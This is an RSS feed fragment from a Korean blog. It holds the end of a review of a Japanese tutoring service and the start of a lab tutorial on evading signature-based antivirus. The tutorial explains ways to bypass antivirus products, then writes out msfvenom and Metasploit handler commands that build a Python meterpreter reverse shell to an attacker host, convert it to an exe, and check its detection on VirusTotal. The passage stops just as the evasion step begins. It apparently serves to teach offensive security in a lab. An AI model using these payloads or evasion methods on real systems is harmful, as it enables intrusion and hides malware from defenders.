&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 멘토?&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;수업을 진행하는 멘토는 전부 원어민이다. 그래도 한국어 자격 시험(TOPIK) 자격이 있는 분들이라 수업 중 모르는 부분을 한국어로 물어봐도 잘 답변해주신다. 생각이나 경험을 일본어로 프리토킹하는데, 아무렇게나 말해도 너무 잘 알아들어주신다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;멘토 이외에도 '헤드코치'라는 분이 있는데 이분이 멘토와 학생을 매칭하고, 전체적인 일정관리, 수업 진도관리 등을 담당한다. 수업하는 멘토가 내 성향과 맞지 않으면 멘토 변경을 요청할 수 있다. 평소의 수업이 잘 진행된다면 헤드코치와는 연락할일이 잘 없다. 수업 전에 활발한 성격, 조용한 성격 등 어떤 성향의 멘토를 원하는지 확인한다. 그 후에 주로 수업이 가능한 시간에 맞춰 멘토를 배정받는데 결과적으로 매우 마음에 들었고 지금까지도 잘 수강하고 있다. 수업 진도율 또한 자유롭게 조절할 수 있다. 처음 수강하다가 난이도가 너무 낮아서 변경을 요청했는데 복잡한 다른 절차 없이 바로 변경받았다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;10개월 진행하면서 멘토는 한번 바뀌었다. 멘토의 개인 사정이기도 했고, 일년 내내 같은 멘토와의 수업은 어렵다. 그때마다 양해를 구했다. 일대일 수업이니만큼 멘토를 잘 만나는 게 중요하다. 수업에 주제는 정해져 있지만 다양한 일상 대화를 얼마나 이끌어 내고 내가 얼마나 대화를 편하게 할 수 있는지가 필요하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_photo_2024-11-18_19-45-49.jpg&quot; data-origin-width=&quot;889&quot; data-origin-height=&quot;413&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/C5nBX/btsKM35WkXb/QnLOARSGS3xcZnQZzlTUYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/C5nBX/btsKM35WkXb/QnLOARSGS3xcZnQZzlTUYK/img.png&quot; data-alt=&quot;멘토와 나의 생일은 같다&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/C5nBX/btsKM35WkXb/QnLOARSGS3xcZnQZzlTUYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FC5nBX%2FbtsKM35WkXb%2FQnLOARSGS3xcZnQZzlTUYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;645&quot; height=&quot;300&quot; data-filename=&quot;edited_photo_2024-11-18_19-45-49.jpg&quot; data-origin-width=&quot;889&quot; data-origin-height=&quot;413&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;멘토와 나의 생일은 같다&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style5&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;후술하는 장단점은 &quot;일본어&quot; 과정에 해당하는 내용입니다.&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 장점&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 처음 언어를 시작하는데 매우 편하게 접근 할 수 있다.&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;nbsp;학습지는 시간과 장소에 구애받지 않는다. 바쁜 날에는 출퇴근길에 강의만 소리로 들어도 된다.&lt;/li&gt;
&lt;li&gt;&amp;nbsp;부담없이 들을 수 있다. 성적이 나오는 것도 아니고, 진도율을 강요하는 것도 아니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 원어민과 자유로운 대화 가능&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;직장인이 외국어에서 가장 필요한 덕목은 말하기라고 본다. 그걸 가능하게 해준다.&lt;/li&gt;
&lt;li&gt;직장인으로 시간내기 어려운데 퇴근 이후 시간에 학원에 가지 않고도 앱으로 자유롭게 대화하는 좋은 기회이다. 선택 가능한 제일 늦은 수업 시간이 11:30분 이었는데 그만큼 제한이 없다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 단점&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 진도가 일정하지 않다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;처음에는 단어 한 페이지 대화에 나오는 문법, 형용사의 활용 정도였다면 레벨이 높아질수록 단어도 두페이지씩 외우게 하고 가정법의 활용형 3가지, 수동태의 활용 3가지 이런 식으로 진행된다. 이걸 15분에 가볍게 배울 수 있는 내용인지 의심될 때가 있다. 어려운 문법이 나오면 혼자서 찾아보는데 한시간 넘게 걸릴 때도 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 레벨이 높아질수록 교재와 강의가 불친절해진다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;수강생 타겟이 작심삼일러를 위한 것인지 Level 4까지는 인강이며 교재 컨텐츠가 공들인 티가 나는데 Level 5가 되자마자 외부 서적을 스캔한 듯한 퀄리티이며, 강의도 없다. 처음 등장하는 한자에 요미가나도 없다. 강의마다 같은 비용이 책정되었을 텐데 퀄리티가 너무 다르다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 마치며&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;멘토님이 '조금만 더 준비하면 N3 충분히 합격할 수 있어요' 했지만 그래도 아직 자신감은 생기지 않는다. 공부는 자기의지에 달린 만큼 이런 컨텐츠에 과도하게 의존하기 보다는 하나의 도구로 활용하는 게 가장 적절한 것 같다. 다른 인강이나 다양한 수단을 활용하고, 매일 한줄 일기 쓰기, 해외 뉴스 읽기 등 방법은 많으니 다양하게 시도해보자. 시작하기에 두려워 망설이는 것보다는 성장한 나를 마주할 수 있지 않을까.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;누구에게 추천할까라고 한다면, N3 시험을 준비하는 수험생보다는 여행이나 취미로 어학을 배우고 싶은 분들에게 추천한다. 본격적으로 해외 이직, 워홀 등을 준비한다면 다른 과정이나 업체를 권한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;가벼운 학습지는 언어를 처음 시작하는 사람들에게 흥미와 계기를 만들어주는 데 좋은 기회라고 생각한다. 곧 시작되는 2025년의 새해 계획으로 새로운 언어 하나 배워보는 게 어떨까?&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;やれば出来る!&lt;/b&gt;&lt;/p&gt;</description>
      <category>Review</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/285</guid>
      <comments>https://gomguk.tistory.com/285#entry285comment</comments>
      <pubDate>Sun, 24 Nov 2024 11:19:00 +0900</pubDate>
    </item>
    <item>
      <title>[메타스플로잇] 서명기반 백신 우회 악성코드 실습</title>
      <link>https://gomguk.tistory.com/284</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 서명(Signature) 기반 백신&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;서명 기반 백신은 악성코드의 고유한 패턴(서명)을 데이터베이스에 저장하고, 파일을 분석해 이 패턴과 일치하는지 여부를 확인하여 악성코드를 탐지한다. 서명의 종류로는 바이너리 코드, 파일 해시값, 특정 문자열 또는 고유한 코드 시퀀스를 포함한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 정탐률이 매우 높고 이미 알려진 악성코드에 대해서 높은 정확도로 탐지가 가능하다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 오탐률이 낮다. 서명이 명확한 기준이 되므로 일반적으로 잘못된&amp;nbsp; 탐지의 가능성이 낮다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 속도가 빠르다. 파일 전체가 아닌 서명으로 비교하는 방식이기 때문에 효율적이고 빠른 처리가 가능하다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 제한점으로는 새로운 변종이나 알려지지 않은 악성코드(제로데이 공격) 탐지에 취약하다. 패킹(Packing) 또는 암호화된 악성코드의 경우 서명 패턴이 달라지기 때문에 탐지가 어렵다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 따라서 우회방법으로 파일을 패킹하거나 암호화하여 서명을 변조하는 방법이 있다. 파일의 크기나 코드의 일부를 수정해서 기존 데이터베이스에 저장된 정보와 일치하지 않도록 조작한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 행위 기반(Behavior-based) 백신&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;파일이 실행되는 동안의 행위를 모니터링하고, 정상적인 프로그램과 다른 의심스러운 동작(예: 파일 시스템 수정, 네트워크 설정 접근, 키로깅, 메모리 변조 등)을 탐지해서 악성코드를 식별하는 방법이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;머신러닝이나 규칙 기반의 분석 알고리즘을 활용하기도 한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 서명 기반 백신과 반대의 장단점을 가진다. 정탐률이 높으나 정상적인 프로그램도 탐지하는 경우가 있다. 하지만 변종 악성코드의 탐지가 가능하다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 속도는 서명 기반 백신보다 느리다. 실행 중인 프로세스를 실시간으로 분석하기 때문에 더 많은 자원이 필요하다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 정확도는 행위의 복잡성과 정의된 규칙에 따라 다르다. 사용자 환경에서 발생하는 특이한 동작을 악성코드로 잘못 인식할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 행위 기반 백신을 우회하는 방법은 정상적인 행위를 모방하여 탐지되지 않도록 모방한다. 탐지 시점을 우회하기 위해 동작을 지연하거나 악성 행위를 특정 조건 하에서만 실행하도록 하는 방법이 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 서명 기반 백신 vs 행위 기반 백신&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-style=&quot;style3&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.0775%; text-align: center;&quot;&gt;기준&lt;/td&gt;
&lt;td style=&quot;width: 39.4961%; text-align: center;&quot;&gt;서명 기반 백신&lt;/td&gt;
&lt;td style=&quot;width: 45.4263%; text-align: center;&quot;&gt;행위 기반 백신&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.0775%; text-align: center;&quot;&gt;탐지 방법&lt;/td&gt;
&lt;td style=&quot;width: 39.4961%; text-align: center;&quot;&gt;알려진 서명(패턴)과 비교&lt;/td&gt;
&lt;td style=&quot;width: 45.4263%; text-align: center;&quot;&gt;의심스러운 실행 행위를 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.0775%; text-align: center;&quot;&gt;정탐률&lt;/td&gt;
&lt;td style=&quot;width: 39.4961%; text-align: center;&quot;&gt;알려진 악성코드에 대해 높음&lt;/td&gt;
&lt;td style=&quot;width: 45.4263%; text-align: center;&quot;&gt;알려지지 않은 악성코드도 탐지 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.0775%; text-align: center;&quot;&gt;오탐률&lt;/td&gt;
&lt;td style=&quot;width: 39.4961%; text-align: center;&quot;&gt;낮음&lt;/td&gt;
&lt;td style=&quot;width: 45.4263%; text-align: center;&quot;&gt;높을 가능성 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.0775%; text-align: center;&quot;&gt;속도&lt;/td&gt;
&lt;td style=&quot;width: 39.4961%; text-align: center;&quot;&gt;빠름&lt;/td&gt;
&lt;td style=&quot;width: 45.4263%; text-align: center;&quot;&gt;느림(실시간 분석 필요)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.0775%; text-align: center;&quot;&gt;제로데이 탐지&lt;/td&gt;
&lt;td style=&quot;width: 39.4961%; text-align: center;&quot;&gt;불가능&lt;/td&gt;
&lt;td style=&quot;width: 45.4263%; text-align: center;&quot;&gt;가능(행위 탐지에 의존)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 15.0775%; text-align: center;&quot;&gt;우회 방법&lt;/td&gt;
&lt;td style=&quot;width: 39.4961%; text-align: center;&quot;&gt;서명변조, 암호화&lt;/td&gt;
&lt;td style=&quot;width: 45.4263%; text-align: center;&quot;&gt;정상 행위 위장, 조건부 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 서명 기반 백신 우회 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Python 페이로드를 이용하여 업데이트된 Windows 환경에서 백신(이하 Anti Virus, AV)을 우회한다. 새로운 서명을 만드는 기법으로 AV진단을 우회한다. 페이로드 생성 도구로는 칼리의 MSFVenom을 사용한다. 메타스플로잇을 실행하는 공격자 컴퓨터에서 TCP 443에서 리버스 쉘을 연결하는 악성 행위를 수행한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;3.1 Kali msfvenom 이용하여 페이로드 생성&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;[Kali] 페이로드 생성&lt;/p&gt;
&lt;pre id=&quot;code_1732362281116&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;msfvenom -p python / meterpreter / reverse_tcp LHOST = [KALI IP주소] LPORT = 443 -f raw -o /var/www/html/mrtp.py&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-11-16 오후 7.58.56.png&quot; data-origin-width=&quot;1906&quot; data-origin-height=&quot;194&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XkEyJ/btsKKHoP5Hp/zGWY9kGlB6lfwf6H3IvpA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XkEyJ/btsKKHoP5Hp/zGWY9kGlB6lfwf6H3IvpA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XkEyJ/btsKKHoP5Hp/zGWY9kGlB6lfwf6H3IvpA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXkEyJ%2FbtsKKHoP5Hp%2FzGWY9kGlB6lfwf6H3IvpA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1906&quot; height=&quot;194&quot; data-filename=&quot;스크린샷 2024-11-16 오후 7.58.56.png&quot; data-origin-width=&quot;1906&quot; data-origin-height=&quot;194&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;[Kali] 공격자 서버에서 아파치 서비스 시작&lt;/p&gt;
&lt;pre id=&quot;code_1732362281117&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;service apache2 start&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;[Windows] msfvenom에서 생성한 페이로드를 windows로 복사 후 Py2exe를 이용하여 exe 파일로 변환&lt;/p&gt;
&lt;pre id=&quot;code_1732362281117&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;python.exe \setup.py py2exe&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;742&quot; data-origin-height=&quot;182&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dcg3q0/btsKKP74sQO/wE67DCcOedMHvgapNhYz2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dcg3q0/btsKKP74sQO/wE67DCcOedMHvgapNhYz2k/img.png&quot; data-alt=&quot;생성된 mrtp.exe 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dcg3q0/btsKKP74sQO/wE67DCcOedMHvgapNhYz2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdcg3q0%2FbtsKKP74sQO%2FwE67DCcOedMHvgapNhYz2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;636&quot; height=&quot;156&quot; data-origin-width=&quot;742&quot; data-origin-height=&quot;182&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;생성된 mrtp.exe 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;[Kali] 수신 대기 포트 설정 및 리버스쉘 연결&lt;/p&gt;
&lt;pre id=&quot;code_1732362281117&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# msfconsole
# use exploit/multi/handler
# set PAYLOAD python/meterpreter/reverse_tcp
# set LHOST [KALI IP 주소]
# set LPORT 443
# run&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;리버스 쉘 연결 성립 및 명령 동작 확인&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1312&quot; data-origin-height=&quot;106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKbrm6/btsKKxNmNQ4/MMaBzzo00h6ec66VrWmpf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKbrm6/btsKKxNmNQ4/MMaBzzo00h6ec66VrWmpf1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKbrm6/btsKKxNmNQ4/MMaBzzo00h6ec66VrWmpf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKbrm6%2FbtsKKxNmNQ4%2FMMaBzzo00h6ec66VrWmpf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1312&quot; height=&quot;106&quot; data-origin-width=&quot;1312&quot; data-origin-height=&quot;106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-11-16 오후 8.02.21.png&quot; data-origin-width=&quot;1862&quot; data-origin-height=&quot;276&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kXMAM/btsKK0Ippx1/l3bufCu0HW3QA1gWiKGPRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kXMAM/btsKK0Ippx1/l3bufCu0HW3QA1gWiKGPRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kXMAM/btsKK0Ippx1/l3bufCu0HW3QA1gWiKGPRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkXMAM%2FbtsKK0Ippx1%2Fl3bufCu0HW3QA1gWiKGPRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1862&quot; height=&quot;276&quot; data-filename=&quot;스크린샷 2024-11-16 오후 8.02.21.png&quot; data-origin-width=&quot;1862&quot; data-origin-height=&quot;276&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;바이러스 토탈에서 생성한 파일(mrtp.exe) 얼마나 많은 AV 엔진에서 진단하는지 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1CJPi/btsKMcVsBuI/EJ4uf6iUg2aufRkeFpU8V0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1CJPi/btsKMcVsBuI/EJ4uf6iUg2aufRkeFpU8V0/img.png&quot; data-alt=&quot;8개의 엔진에서 진단하고 있음&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1CJPi/btsKMcVsBuI/EJ4uf6iUg2aufRkeFpU8V0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1CJPi%2FbtsKMcVsBuI%2FEJ4uf6iUg2aufRkeFpU8V0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;996&quot; height=&quot;450&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;8개의 엔진에서 진단하고 있음&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;3.2. 우회 코드 추가(Pointless Code)&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
